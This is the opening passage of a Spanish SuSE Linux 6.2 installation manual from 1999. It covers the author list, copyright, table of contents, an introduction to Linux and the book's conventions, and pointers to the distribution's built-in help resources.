Sei sulla pagina 1di 522

Bodo Bauer, Rdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff,

Christian Egle, Karl Eichwalder, Werner Fink, Klaus Franken, Fritz Ganter, Jrgen Geck,
Rolf Haberrecker, Marc Heuse, Carsten Hger, Dirk Hohndel, Richard Jelinek, Florian La
Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio,
Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Martin Scherbaum, Burchard Steinbild,
Jrg Strebel, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch,
Stefan Wintermeyer, Christian Zoz

SuSE Linux 6.2


Instalacin, Configuracin y primeros
pasos

SuSE GmbH
Schanzckerstr. 10
D-90443 Nrnberg
Tel.: +49 9 11 / 7 40 53 31 (Ventas)
apartado H.2.1)
Fax.: +49 9 11 / 7 41 77 55 (Ventas)
E-Mail: suse@suse.de
WWW: http://www.suse.de
Bodo Bauer, Rdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle,
Karl Eichwalder, Werner Fink, Klaus Franken, Fritz Ganter, Jrgen Geck, Rolf Haberrecker,
Marc Heuse, Carsten Hger, Dirk Hohndel, Richard Jelinek, Florian La Roche, Volker Lendecke,
Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio, Jordi Jaen Pallares,
Christoph-Erdmann Pfeiler, Martin Scherbaum, Burchard Steinbild, Jrg Strebel,
Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch, Stefan Wintermeyer,
Christian Zoz
Instalacin, Configuracin y primeros pasos con SuSE Linux 6.2
15. aktualisierte Auflage 1999
SuSE GmbH

Copyright
Esta obra es propiedad intelectual de SuSE GmbH.
Se permite la copia de este trabajo ya sea de forma completa o bien en forma de
extractos, bajo la condicin que cada copia est acompaada de esta nota de
Copyright.
Satz: LATEX
Diseo de portada con un grfico de Stephan Endra.

Linux es una marca registrada de Linus Torvalds. XFree86 TM es una marca


registrada de The XFree86 Project, Inc. MS-DOS, Windows, Windows 95,
Windows 98 y Windows NT son marcas registradas de Microsoft Corporation.
FlagShip es una marca registrada de multisoft Datentechnik GmbH. UNIX es
una marca registrada de X/Open Company Limited. Otras marcas registradas
son: Clipper de Computer Associates, dBASE de Borland, Foxbase de
Microsoft, Compuserve, T-Online de Deutsche Telekom, SuSE y YaST de SuSE
GmbH . Otros productos mencionados en este manual tambin pueden ser
marcas registradas de sus respectivos fabricantes sin mencin explcita de ello.
ndice General

I Prefacio 1

1 Introduccin 3
1.1 Qu es Linux? . . . . . . . 4
1.2 Intencin del libro y consejos para su uso . . . 5
1.3 La leyenda o lo que significa tierra: # ls . 6
1.4 La lucha con la cantidad de pginas . . . . 7
1.4.1 Banco de datos de soporte . . . . 7
1.4.2 Ayuda en hipertexto . . . . . 7
1.4.3 Texinfo e Info . . . . . . . 8
1.4.4 Manuales de Unix (Manpages) . . . 9
1.4.5 Los ficheros FAQ-, HowTo- y README . . 9
1.4.6 Libros gratuitos . . . . . . 10
1.5 Mritos . . . . . . . . . 10

II Instalacin SuSE Linux 13

2 La primera instalacin de SuSE Linux 15


2.1 Adelante! . . . . . . . . . 15
2.2 Linux en 30 minutos La gua corta . . . . 15
2.3 Instrucciones de instalacin explcitas . . . . 18
2.3.1 La situacin principal . . . . . 18
2.3.2 A continuacin: La pantalla de bienvenida . 18
2.3.3 La base: linuxrc . . . . . . 19
2.3.4 Arrancar YaST . . . . . . 23
2.3.5 Comienza la instalacin del software . . 25
2.3.6 Eleccin del software bsico . . . . 26
2.3.7 Instalacin de software . . . . . 26

i
ndice General

2.3.8 Seleccionar kernel . . . . . . 27


2.3.9 Configuracin bsica con YaST . . . 30
2.3.10 Entrar al sistema despus de la primera instalacin 33
2.4 Cmo se debe arrancar Linux? . . . . . 35
2.5 Instalacin sin soporte del lector CD-ROM . . . 37
2.5.1 Instalacin desde una particin DOS . . 37
2.5.2 Instalacin desde una fuente en la red . . 39
2.6 Otra va de instalacin: Con setup y loadlin . . . 41
2.6.1 Activar modo DOS de Windows 95 . . . 41
2.6.2 Arrancar Setup y su primera parte . . . 41
2.6.3 Cmo se arranca el Linux originario desde setup? 42
2.6.4 Instalar loadlin y arrancar Linux originario . 42
2.7 Bloques de informacin . . . . . . 45
2.7.1 Hacer espacio para Linux (particionar) . . 45
2.7.2 Crear un disquete de arranque bajo DOS . . 48
2.7.3 Crear un disquete de arranque bajo Unix . . 49
2.7.4 Seleccin del Kernel . . . . . 50
2.7.5 Parmetros del kernel . . . . . 50
2.7.6 Linux soporta mi lector CD-ROM? . . 51
2.8 Descripcin de problemas . . . . . . 52
2.8.1 Ficheros inamovibles . . . . . 52
2.8.2 La distribucin del teclado en modo MS-DOS no es
correcta . . . . . . . . 52
2.8.3 No hay driver de CD-ROM en modo MS-DOS 52
2.8.4 El CD es defectuoso . . . . . 53
2.8.5 Un lector CD-ROM ATAPI se traba leyendo . 53
2.8.6 Dificultades con lectores CD-ROM en el puerto par-
alelo . . . . . . . . 54
2.8.7 Problemas con lectores CD-ROM propietarios 54
2.8.8 Thinkpad se duerme durante la instalacin . 55
2.8.9 loadlin necesita ms memoria para cargar el kernel 55
2.8.10 loadlin no funciona . . . . . . 55
2.8.11 DOS se encuentra en modo protegido . . 55
2.8.12 Fallo usando mke2fs . . . . . 56
2.8.13 La disquetera de 3.5 pulgadas est conectada como
B: y no es arrancable . . . . . 56
2.8.14 Cambio de la letra de unidad del lector CD-ROM 56
2.8.15 Problemas generales de hardware . . . 57
2.9 Particionar para principiantes . . . . . 59
2.10 Particionar para avanzados . . . . . . 60

ii
ndice General

2.10.1 El tamao de la particin de intercambio (swap) 61


2.10.2 Formas de uso de la computadora . . . 62
2.10.3 Posibilidades de optimizacin . . . . 63
2.11 Configuracin manual del disco duro . . . . 66
2.11.1 Establecer particiones . . . . . 66
2.11.2 Fijar sistemas de fichero y Mountpoints . 68

3 YaST Yet another Setup-Tool 73


3.1 Uso y distribucin de teclado . . . . . 73
3.2 El men principal de YaST . . . . . . 73
3.3 Ajustes de la instalacin . . . . . . 74
3.3.1 Definir el idioma . . . . . . 74
3.4 Particionar disco(s) duro(s) . . . . . . 74
3.4.1 Establecer particin/sistema de ficheros destino 76
3.4.2 El medio de instalacin . . . . . 79
3.4.3 Instalacin desde CD-ROM . . . . 80
3.4.4 Instalacin desde una particin del disco duro . 80
3.4.5 Instalacin va NFS . . . . . . 80
3.4.6 Instalacin desde una particin . . . 82
3.4.7 Instalacin va FTP . . . . . . 83
3.5 Escoger / Instalar paquetes . . . . . . 84
3.5.1 Cargar configuracin . . . . . 84
3.5.2 Salvar configuracin . . . . . 85
3.5.3 Cambiar / Crear configuracin . . . . 85
3.5.4 Qu pasara si...? . . . . . . 87
3.5.5 Empezar instalacin . . . . . 87
3.5.6 Comprobar las dependencias . . . . 88
3.5.7 Listado de las series y paquetes . . . 88
3.5.8 Informacin sobre paquetes . . . . 88
3.5.9 Instalar paquetes . . . . . . 88
3.5.10 Eliminar/Borrar paquetes . . . . 89
3.6 Actualizar el sistema . . . . . . . 90
3.7 Administracin del sistema . . . . . . 90
3.7.1 Instalar hardware en el sistema . . . 90
3.7.2 Configuracin del kernel y arranque . . 93
3.7.3 Configuracin de red . . . . . 95
3.7.4 Configurar sistema Live . . . . . 97
3.7.5 Opciones susewm . . . . . . 98
3.7.6 Configuracin del Login . . . . . 98
3.7.7 Administracin de usuarios . . . . 100

iii
ndice General

3.7.8 Administracin de grupos . . . . 101


TM
3.7.9 Configurar XFree86 . . . . . 101
3.7.10 Cambiar fichero de configuracin . . . 101
3.7.11 Crear respaldos/backups . . . . . 102

4 Arrancar y gestor de arranque 105


4.1 El proceso de arranque en un PC . . . . . 105
4.2 Conceptos de arranque . . . . . . 106
4.3 Resumen de LILO . . . . . . . 108
4.4 LILO la carte: La configuracin . . . . 111
4.4.1 El contenido del fichero lilo.conf . . 111
4.4.2 Otras opciones de configuracin (Seleccin) . 114
4.5 Instalacin y desinstalacin de LILO . . . . 117
4.6 Generar disquete de arranque de Linux . . . 119
4.7 Ejemplos de Configuraciones . . . . . 121
4.7.1 DOS/Windows 95/98 y Linux . . . . 121
4.7.2 Windows NT y Linux en un disco duro . . 122
4.7.3 OS/2 y Linux . . . . . . . 123
4.7.4 DOS, OS/2 y Linux . . . . . . 124
4.8 Problemas con LILO . . . . . . . 124
4.8.1 Diagnstico de errores: Mensajes de inicio de LILO 125
4.8.2 El lmite de 1024 cilindros . . . . 126
4.8.3 Problemas especiales de arranque con kernel a partir
de 2.0 . . . . . . . . 127
4.9 Configuracin del mecanismo de arranque con loadlin . 129
4.9.1 Ficheros necesarios para loadlin . . . 130
4.9.2 Personalizar mens de arranque . . . 131
4.9.3 Iniciar Linux desde Windows . . . . 132
4.9.4 El men de arranque de Windows . . . 133

5 Porttiles con tarjetas PCMCIA 137

III Configuracin de red 143

6 Linux en la red 145


6.1 Configuracin con YaST . . . . . . 148
6.2 Configuracin manual de la red Dnde tocar? . . 149
6.2.1 Ficheros de configuracin . . . . 150
6.2.2 Scripts de arranque (Startup-Sripts) . . . 154
6.3 Routing en SuSE Linux . . . . . . 155

iv
ndice General

6.4 NIS, las pginas amarillas del LAN . . . . 157


6.4.1 Que es NIS? . . . . . . . 157
6.4.2 Configuracin de un cliente NIS . . . 157
6.4.3 Servidor NIS-Master y Slave . . . . 159
6.5 NFS sistemas de ficheros distribuidos . . . 159
6.5.1 Importar sistemas de ficheros . . . . 159
6.5.2 Exportar sistemas de ficheros . . . . 159

7 Conectarse con el mundo RDSI, PPP, Fax : : : 163


7.1 Conexin de modem . . . . . . . 163
7.2 Acceso Internet va RDSI - la configuracin . . 164
7.2.1 Configurar RDSI - paso por paso . . . 165
7.2.2 Introduccin . . . . . . . 166
7.2.3 Configuracin del hardware RDSI . . . 166
7.2.4 Configuracin del hardware RDSI con YaST . 167
7.2.5 Configuracin de acceso a Internet va RDSI . 171
7.2.6 Mensaje RDSI . . . . . . 175
7.3 PPP . . . . . . . . . . 179
7.3.1 Requisitos para PPP . . . . . 179
7.4 Acceso analgico a Internet: PPP con wvdial . . 180
7.4.1 Configuracin de wvdial . . . . . 180
7.4.2 Configuracin manual de PPP para profesionales 181
7.4.3 Informacin adicional sobre PPP . . . 186
7.5 Vamos a escribir Configuracin de E-Mail . . 186
7.6 News: Las noticias ms actuales de USENET . . 189
7.6.1 El sistema de noticias Leafnode . . . 190
7.7 Linux + Fax: Una buena combinacin! . . . 192
7.7.1 SuSEFax Un cliente para HylaFAX . . 192
7.7.2 Generacin automtica de portada . . . 200
7.7.3 Fax-Spooling en UNIX/ Linux . . . 201
7.7.4 HylaFAX Gestin distribuida de faxes . . 202

8 Bailemos samba : : : 209


8.1 Introduccin . . . . . . . . 209
8.2 Instalacin del servidor . . . . . . 211
8.3 Instalacin de los clientes . . . . . . 214
8.3.1 Windows 95/98 . . . . . . 214
8.4 Optimizacin . . . . . . . . 214

v
ndice General

IV El Sistema X Window 217

9 El sistema X Window 219


9.1 Configuracin con SaX . . . . . . 220
9.1.1 Primera instalacin . . . . . . 220
9.1.2 Reconfiguracin . . . . . . 228
9.1.3 Troubleshooting . . . . . . 228
9.1.4 Inicio del Sistema X Window . . . . 229
9.2 Configuracin con xf86config . . . . . 229
9.3 Optimizacin de la instalacin del Sistema X Window . 236

10 El Windowmanager La ventana a su PC 241


10.1 Un poco de teora... . . . . . . . 241
10.1.1 Generalidades . . . . . . . 241
10.1.2 Qu administra el windowmanager? . . 243
10.1.3 Iniciar varios gestores de ventana . . . 244
10.2 El Fvwm2 . . . . . . . . . 245
10.3 Ajustes del Fvwm2 . . . . . . . 247
10.3.1 Autoraise . . . . . . . 251
10.4 KDE K Desktop Environment . . . . . 251
10.4.1 Generalidades . . . . . . . 252
10.4.2 kdm login grfico . . . . . 252
10.4.3 Qu es lo fabuloso del KDE? . . . . 254
10.5 Configuracin del windowmanager con susewm . . 258
10.6 Configuracin general del Sistema X Window . . 262

V Hardware bajo Linux 267

11 Linux y el hardware adicional 269


11.1 Introduccin . . . . . . . . 269
11.2 ISA Plug and Play-Hardware . . . . . 269
11.2.1 Reglas para los datos en /etc/isapnp.conf . 272
11.2.2 ISA-PnP y mdulos . . . . . 273
11.3 Tarjetas de sonido . . . . . . . 274
11.3.1 Open Sound System (OSS) . . . . 274
11.3.2 Mdulos del kernel . . . . . . 275
11.4 El puerto paralelo: El sub-sistema parport . . . 278
11.5 USB Universal Serial Bus . . . . . 280
11.6 Unidades de almacenamiento reescribibles . . . 281
11.6.1 Generalidades . . . . . . . 281

vi
ndice General

11.6.2 Disqueteras . . . . . . . 281


11.6.3 Disquetera LS 120 . . . . . . 281
11.6.4 Disqueteras ZIP . . . . . . 281
11.6.5 Unidades SCSI con disco removible . . 282
11.7 Escner . . . . . . . . . 283

12 Impresoras 285
12.1 Sinopsis: Interfaces, colas (spooling) . . . . 285
12.1.1 Spooling, colas de impresin . . . . 286
12.2 Colas de impresin: Funcionamiento y configuracin . 287
12.3 Filtros de impresin el apsfilter . . . . 291
12.4 Impresoras de red con apsfilter . . . . . 297
12.5 Ghostscript . . . . . . . . . 299
12.6 Listado de las impresoras soportadas . . . . 300
12.7 Lista de comprobacin: apsfilter . . . . . 305

VI El kernel y sus parmetros 307

13 El kernel 309
13.1 Las fuentes del kernel . . . . . . . 309
13.2 Mdulos del kernel . . . . . . . 310
13.3 Configuracin del kernel . . . . . . 311
13.4 Ajustes en la configuracin del kernel . . . . 312
13.5 Compilacin del kernel . . . . . . 312
13.6 Instalacin del kernel . . . . . . . 314
13.7 Generar un disquete de arranque . . . . . 314
13.8 Limpieza del disco despus de la compilacin del kernel 315

14 Parmetros del kernel 317


14.1 Drivers del kernel . . . . . . . 317
14.2 Algunos consejos . . . . . . . 318
14.3 Los parmetros . . . . . . . . 319
14.3.1 Anotacin y significado . . . . . 319
14.3.2 Parmetros del kernel en el Boot-Prompt . . 319
14.3.3 Lectores CD-ROM en controladora propietaria 330
14.3.4 Parmetros de modprobe . . . . 333

vii
ndice General

VII SuSE Linux: Actualizacin y especialidades 351

15 Actualizacin del sistema Gestin de paquetes 353


15.1 Actualizacin de SuSE Linux . . . . . 353
15.1.1 Actualizacin del sistema base . . . 353
15.1.2 Actualizacin del resto de programas . . 355
15.1.3 Actualizacin de paquetes especficos . . 356
15.2 De versin a versin . . . . . . . 356
15.2.1 De versin 4.x a 5.0 . . . . . 356
15.2.2 De versin 5.0 a 5.1 . . . . . 357
15.2.3 De versin 5.1 a 5.2 . . . . . 357
15.2.4 De versin 5.2 a 5.3 . . . . . 358
15.2.5 De versin 5.3 a 6.0 . . . . . 358
15.2.6 De versin 6.0 a 6.1 . . . . . 359
15.2.7 De versin 6.1 a 6.2 . . . . . 360
15.3 RPM El gestor de paquetes . . . . . 361
15.3.1 Instalar, actualizar y desinstalar paquetes. . 361
15.3.2 Consultas . . . . . . . 362
15.3.3 Instalar y compilar los paquetes fuente . . 364
15.3.4 Herramientas para los archivos RPM y el banco de
datos RPM . . . . . . . 366

16 Especialidades de SuSE Linux 367


16.1 Distribucin de teclado . . . . . . 367
16.2 linuxrc . . . . . . . . . 368
16.3 El sistema de ayuda para SuSE Linux . . . . 373
16.3.1 Configuracin para estacin de trabajo o servidor 374
16.3.2 Configuracin para una computadora en modo
cliente . . . . . . . . 375
16.3.3 Usar el sistema de ayuda . . . . . 375
16.4 El sistema de rescate de SuSE . . . . . 376
16.5 Indicaciones sobre paquetes especiales . . . 379
16.5.1 paquete cron . . . . . . . 379
16.5.2 paquete curses . . . . . . 380
16.5.3 Manpages . . . . . . . 380

17 El concepto de arranque de SuSE Linux 381


17.1 El init-Programm . . . . . . . 381
17.2 Los Runlevel . . . . . . . . 382
17.3 Cambio del Runlevel . . . . . . . 383
17.4 Los Init-scripts . . . . . . . . 384

viii
ndice General

17.5 /etc/rc.config y SuSEconfig . . . . . 385


17.6 Las variables en /etc/rc.config Configuracin de sis-
tema . . . . . . . . . . 387

VIII Seguridad y otros buenos consejos 397

18 Seguridad y Confianza 399


18.1 Fundamentos . . . . . . . . 399
18.1.1 Seguridad local . . . . . . 400
18.1.2 Seguridad en redes . . . . . . 403
18.2 Utilidades . . . . . . . . . 404
18.2.1 Utilidades locales . . . . . . 404
18.2.2 Utilidades para la red . . . . . 407
18.3 Seguridad en SuSE Linux . . . . . . 409
18.4 Consejos generales . . . . . . . 410

19 Introduccin a Linux 411


19.1 Hacer login, `root'-Usuario, introduccin de Usuario 411
19.2 Apagar y arrancar el sistema . . . . . 412
19.3 Comandos lnea de comandos . . . . . 413
19.4 Consolas virtuales . . . . . . . 415
19.5 Directorios y nombres de ficheros . . . . 415
19.6 Trabajar con directorios . . . . . . 416
19.7 Trabajar con ficheros . . . . . . . 416
19.7.1 Propiedades de los ficheros . . . . 416
19.7.2 Wildcards Comodines . . . . . 418
19.7.3 El contenido de los ficheros . . . . 418
19.7.4 Ficheros ocultos . . . . . . 419
19.7.5 Copiar, renombrar y borrar ficheros . . . 420
19.7.6 Bsqueda en ficheros . . . . . 420
19.7.7 Enlaces simblicos . . . . . . 421
19.7.8 Archivar y guardar Datos . . . . 421
19.8 Autorizaciones para ficheros . . . . . 422
19.8.1 El concepto de las autorizaciones . . . 422
19.9 Manpages . . . . . . . . . 424
19.10Informacin sobre el estado del sistema . . . 425
19.10.1 El comando df . . . . . . 425
19.10.2 El comando free . . . . . . 425
19.10.3 El comando w . . . . . . . 425
19.10.4 El comando du . . . . . . 426

ix
ndice General

19.10.5 El comando kill . . . . . . 426


19.10.6 El comando ps . . . . . . 427
19.10.7 El comando pstree . . . . . 427
19.10.8 El comando top . . . . . . 427
19.11Sistemas de fichero en Linux mount y umount . . 427
19.11.1 Sistemas de ficheros . . . . . 428
19.11.2 Montaje y desmontaje de sistemas de ficheros . 429
19.12Comandos DOS bajo Unix usando mtools . . . 430
19.13Resumen de los comandos de Unix . . . . 431
19.14Otras perspectivas . . . . . . . 433
19.15El editor vi . . . . . . . . . 434

A Teclas y combinaciones importantes 437

B Glosario 439

C El rbol de directorios 455


C.1 Vista general . . . . . . . . 455
C.2 Directorios importantes . . . . . . 455

D Ficheros importantes 457


D.1 Ficheros de dispositivos en el directorio /dev . . 457
D.1.1 Lectores CD-ROM . . . . . . 457
D.1.2 Unidades de cinta/Streamer . . . . 458
D.1.3 Mouse (Bus y PS/2) . . . . . 458
D.1.4 Modem . . . . . . . . 459
D.1.5 Puertos serie . . . . . . . 459
D.1.6 Puertos paralelos . . . . . . 459
D.1.7 Dispositivos especiales . . . . . 460
D.2 Ficheros de configuracin en /etc . . . . 460
D.3 Ficheros de configuracin ocultos en /home . . 461

E Manual-Page de e2fsck 463

F Las SuSE Linux-FAQ 467

G La licencia pblica general GNU (GPL) 473

x
ndice General

H Soporte y servicios de SuSE GmbH 481


H.1 60 das de soporte de instalacin . . . . . 481
H.1.1 Sin registro, ningn soporte! . . . . 481
H.1.2 Cobertura del soporte de instalacin . . 481
H.2 La va ms rpida! . . . . . . . 482
H.2.1 Cmo contactar el equipo de soporte de SuSE? 484
H.3 Servicios adicionales . . . . . . . 484

xi
ndice General

xii
Parte I

Prefacio

1
Captulo 1
Introduccin

La corta historia de Linux parece un cuento de hadas moderno: En el ao


1991 el estudiante de informtica Linus Torvalds comienza con la progra-
macin de su propia versin de Unix. Linus publica en Internet no solamente
los binarios, o sea los ejecutables en cdigo mquina, sino tambin las fuentes
correspondientes. El crecimiento rpido de Internet hace que centenares de
programadores de todo el mundo se apunten a su invitacin y colaboran en
el desarrollo de Linux sin pedir dinero; su motivacin es resolver proble-
mas individualmente, trabajando en equipo o bien, les gusta aadir nuevas
funcionalidades para perfeccionar el sistema. La nica condicin es la de
proporcionar el trabajo hecho y su cdigo fuente otra vez a la comunidad
de programadores. Este principio se manifiesta en la GNU General Public
License (GPL) que se encuentra en Apndice G
Hoy en da hay muy buenas razonas para optar por Linux ya que, el sistema
ofrece estabilidad, seguridad y velocidad. Tambin cuenta la capacidad de
conectividad en redes que ha sido decisiva para la conquista de todo el mer-
cado de servidores. Los entendidos en Linux aprecian la disponibilidad del
cdigo fuente lo que proporsiona al sistema operativo un alto nivel de inde-
pendencia y flexibilidad. Debido a esta disponibilidad nadie est a merced de
ningn productor de software sino que es posible hacer adaptaciones y exten-
siones a gusto propio. Tampoco se debera olvidar que el uso de Linux no
exige la adquisicin de licencias; da igual si se usa el sistema en casa o para
la red de una empresa.
En realidad lo que ha motivado a muchos productores de hardware y software
a apoyar fuertemente a Linux, ha sido el enorme inters por parte de los
usuarios y no po la multitud de argumentos en favor de ste. Siemens, IBM
y Compaq son algunas de las grandes empresas que han descubierto Linux
como sistema operativo.
Adems de la gran cantidad de aplicaciones libres, cada vez hay ms apli-
caciones de uso comercial para Linux. Productores de bases de datos como
Oracle, Informix, Software AG y Sybase al igual que productores de suites
ofimticas como Applix, Corel o Stardivision ofrecen sus productos para
Linux. Linux es eficiente, se est mejorando continuamente y no cuesta na-
da! Teniendo en cuenta que existen ms de 10 millones de usuarios entusias-
tas cuya cantidad crece continuamente hay que reconocer que Linux cumple
todos los requisitos para un futuro estndar industrial.

3
1. Introduccin

Pero an hay ms: ya existen dos entornos grficos libres y confortables


( KDE y GNOME) a su disposicin que dan cada vez mayor razn a la idea
de usar Linux tambin en los desktops.

1.1 Qu es Linux?
Lo que realmente se entiende bajo el trmino Linux es el kernel, el corazn
de cualquier sistema operativo tipo Unix.
Pero el kernel por s solo no forma todava ningn sistema operativo. Justa-
mente para Unix existe una multitud de software libre, lo que significa que
estos estn disponibles tambin para Linux. Son estas utilidades las que real-
mente forman el sistema operativo.
En cuanto a las utilidades, se trata generalmente de la versin GNU (
GNU) de los programas correspondientes de Unix, los que incluso
muchas veces ofrecen mayor funcionalidad, siendo el ms conocido el
GNU C/C++ Compiler, uno de los mejores compiladores del mundo. Tam-
poco se deben olvidar todas aquellas pequeas (o tambin grandes) utilidades
que se pueden usar en la lnea de comandos o en scripts: la oferta comienza
con las utilidades para shells, textos o ficheros como sed, awk y perl hasta
editores (vi) o entornos de trabajo completos ( Emacs).
Todo se complementa con XFree86TM (actualmente en la versin 3.3.4), que
es el Sistema X Window (actualmente X11, Release 6.3) para sistemas Unix
a base de PC. Esta versin se ha portado de la distribucin oficial X11R6.3
del consorcio X Consortium, Inc., lo que proporsiona total compatibilidad
a este estndar.
Todos estos componentes forman, junto a otros programas (p. ej. TEX, el
sistema profesional de tratamiento de textos) o tambin juegos, el sistema
que generalmente se denomina Linux.
Como ya se ha mencionado, existe para Unix una cantidad casi infinita de
software libre, lo que permite a su vez componer una multitud de diferentes
sistemas Linux.
En este punto aparecen las distribuciones de Linux, como p. ej. en nuestro
caso, el SuSE Linux. Los encargados de una distribucin contemplan la
enorme oferta de software libre y eligen los programas ms adecuados. El
resultado de esta eleccin es actualmente, en el caso de los SuSE Linux -
CDs, un conjunto que esta alrededor de 850 paquetes de software; paquetes
que por su tamao generalmente se distribuyen en forma de CD.

Aparte del software libre, SuSE Linux tambin incorpora paquetes de pro-
gramas que solamente pueden ser distribuidos en forma compilada ya que,
por razones diversas, SuSE no puede incluir las fuentes que se incluyen en
caso del software de libre distribucin.

A parte de esto, la mayora de las distribuciones estn a disposicin en Inter-


net, as que no hace falta comprar una distribucin para actualizar de vez en
cuando el sistema.

4
1.2. Intencin del libro y consejos para su uso

1.2 Intencin del libro y consejos para su uso


Concebimos este libro explcitamente como una gua de instalacin, la cual
no debe reemplazar la literatura avanzada que permite al usuario interesado
entrar en el fascinante mundo del high performance computing (ver la bibli-
ografia al final del libro, Captulo 19.15, Pgina 486).
Para efectuar la primera instalacin es suficiente con leer el Captulo 2, ya que
ste resulta bastante concreto y funcional. Como novato en Linux no es nada
aconsejable entrar en la aventura de manejar una computadora con Linux sin
lectura previa. Leer algo antes aumenta su eficiencia y previene frustraciones
como mnimo se debera hojear el Captulo 19.
Linux y el software libre estan sometidos a una fuerte dinmica, lo que plantea
un reto al escribir literatura explicativa que vaya al ritmo de los ltimos de-
sarrollos y sirva a los principiantes del mundo Unix (sin aburrir a los viejos
zorros). El presente libro trata de cumplir este objetivo.
El libro tiene tambin el fin de dar a los principiantes de Linux un arranque
estimulante para descubrir su (nuevo) sistema.
Se constituye bsicamente de las siguientes partes:

Instrucciones de instalacin: Esta parte del libro acompaa al principiante


en Linux, cuando est dando los primeros pasos por el sistema, realizando
una instalacin de ejemplo con comentarios (Captulo 2). Se mencionan
posibles fuentes de error y se dan instrucciones concretas para solventar
los problemas que se puedan presentar durante la instalacin.
Adems, se explica el uso del programa de instalacin y administracin
de SuSE, YaSTTM (Captulo 3), y se expone cmo arrancar el kernel
(Captulo 4) .
Configuracin de red: Una vez que funciona el sistema bsico se intenta
ponerlo en red (Captulo 6) y establecer el acceso a Internet (Captulo 7).
Entorno grfico La activacin y configuracin del entorno grfico XFree86TM
es tema del Captulo 9 y Captulo 10.
Impresin, sonido, etc.: En estos captulos Captulo 12 y Captulo 11 se
averiguan las posibilidades del hardware adicional.
Linux el kernel: En esta parte se va directamente al grano: estos captulos
Captulo 13 y Captulo 14 presentan el kernel y dan las instrucciones sobre
cmo generar y usar su propio kernel.
Actualizacin, paquetes de software, arrancar: Se comentan estrategias
de actualizacin, la administracin del software (Captulo 15) y se in-
troducen las caractersticas especiales de SuSE Linux tal como el fun-
cionamiento de arranque (Captulo 17).
Seguridad e inicio: Los conceptos de seguridad (Captulo 18) y los conse-
jos para principiantes (Captulo 19) se reunen al final del libro. Estos
captulos explican los procedimientos y comandos bsicos de Linux.
Anexo tcnico: En el anexo se encuentra una lista de los ficheros de config-
uracin ms importantes, de las combinaciones de teclas ms frecuentes,
ficheros de ejemplo, la licencia, las preguntas ms frecuentes sobre SuSE
Linux (FAQ, Apndice F), etc.

5
1. Introduccin

Soporte: Las tareas del soporte de instalacin y las posibilidades del con-
siguiente soporte empresarial, se detallan en el Apndice H lalo si
desea entrar en contacto con SuSE!
Glosario, bibliografia e ndice: Si hasta ahora le ha faltado algo, debe usar
el extenso anexo y el glosario (Apndice B) para encontrar la pgina con
la explicacin de trminos importantes o simplemente para aumentar su
conocimiento general sobre Linux, Unix y ordenadores.

1.3 La leyenda o lo que significa tierra: # ls


En este manual tratamos de usar continuamente los mismos smbolos para la
misma clase de referencia. Las indicaciones ms frecuentes se explican en la
Tabla 1.1, Pgina 7.

indicacin Significado
Linus Torvalds personas importantes
YaST (yast) arrancar el programa YaST, medi-
ante el comando yast
Adabas D el producto Adabas D
/etc/passwd nombre de un fichero y de una car-
peta
< fichero> la variable con el nombre fichero
$PATH la variable de entorno con el nom-
bre PATH
192.168.1.2 el valor de una variable
ls el comando a introducir ls
`news' el usuario news
tierra: # susehelp `root'-shell en el directorio ~
(`~' indica el directorio-home
de cada usuario, Directorio de
usuario). En este ejemplo se
debe introducir el comando ayuda;
tierra es el ejemplo para el nom-
bre de una computadora (ingl. host-
name).
tux@tierra:/tmp > ls shell del usuario `tux' en el direc-
torio /tmp, aqu se debe introducir
la orden ls a propsito, Tux es el
nombre oficial del pingino de Lin-
ux : : :
C:\> fdisk DOS-Prompt introduciendo el co-
mando fdisk
Alt 
  tecla para pulsar; en este caso la
tecla Alt

Tabla 1.1: Contina en la pgina siguiente ...

6
1.4. La lucha con la cantidad de pginas

Ctrl + Alt + Supr 


    mediante `+' se indican las teclas
que se deben pulsar simultanea-
mente; las que se deben pulsar suce-
sivamente se separan por espacios
"Permission denied" mensajes del sistema
`Actualizar sistema' la opcin de men `Actualizar
sistema'
Constructirola la empresa Constructirola
referencia al glosario

Tabla 1.1: Leyenda de las indicaciones en el texto

1.4 La lucha con la cantidad de pginas


Este libro solamente puede tener una cantidad finita de pginas, as que
lamentablemente es imposible explicar todo en forma impresa ya que la can-
tidad de software disponible para Linux da a da crece ms y ms, por lo
tanto, es importante mencionar aqu la documentacin disponible en lnea.
No obstante, se ha incluido en este libro una seccin acerca de los primeros
pasos (hacer logins; copiar, borrar y editar ficheros, acceder a disqueteras
y unidades CD-ROM, etc.) que se encuentra en el Captulo 19, Pgina 411 y
siguientes.

1.4.1 Banco de datos de soporte


Las respuestas a muchas preguntas y problemas ya existen en nuestro banco
de datos de soporte, en el cual hay centenares de artculos con acceso las 24
horas del da bajo la siguiente direccin electrnica: http://www.suse.de/
sdb/de/html/.
Aparte de la documentacin en lnea (en el web) sta existe tambin en pa-
quete sdb_es, serie doc, en su SuSE Linux -CD. Se pueden leer los artculos
con cualquier navegador, p. ej. (arena, lynx, netscape).

1.4.2 Ayuda en hipertexto


Existe una gran cantidad de documentacin en forma de hipertexto. El
sistema de hipertexto se arranca con el comando susehelp. Tenien-
do ejecutado el Sistema X Window, se activa otro programa (browser)
para leer la documentacin. Bajo el sistema X la computadora busca el
Netscape Communicator (Figura 1.1, Pgina 8) y si lo encuentra lo arranca.
Si hay una consola de texto arranca lynx (Figura 16.7, Pgina 373).
Las opciones del sistema de ayuda se obtienen mediante el comando
tux@tierra:/home/tux > susehelp -help
En el apartado 16.3, Pgina 373 se explica cmo afinar el sistema de ayuda.

7
1. Introduccin

Figura 1.1: Pgina principal del sistema de ayuda (Netscape)

1.4.3 Texinfo e Info

Algunos paquetes de programa contienen documentacin en forma de


ficheros Texinfo, que se pueden convertir al formato Info; este formato
es otro tipo de hipertexto. Los documentos Ninfo se pueden leer con el
programa Infoviewer (info) o usando el modo info en Emacs (emacs).
En el entorno del Sistema X Window se pueden leer estos ficheros de man-
era agradable usando el programa tkInfo (tkinfo); XInfo (xinfo) por el
contrario es ms bien sencillo.
Tambin es posible leer los ficheros del tipo Info y Texinfo con el sistema de
ayuda de SuSE (ver la Pgina 373).

8
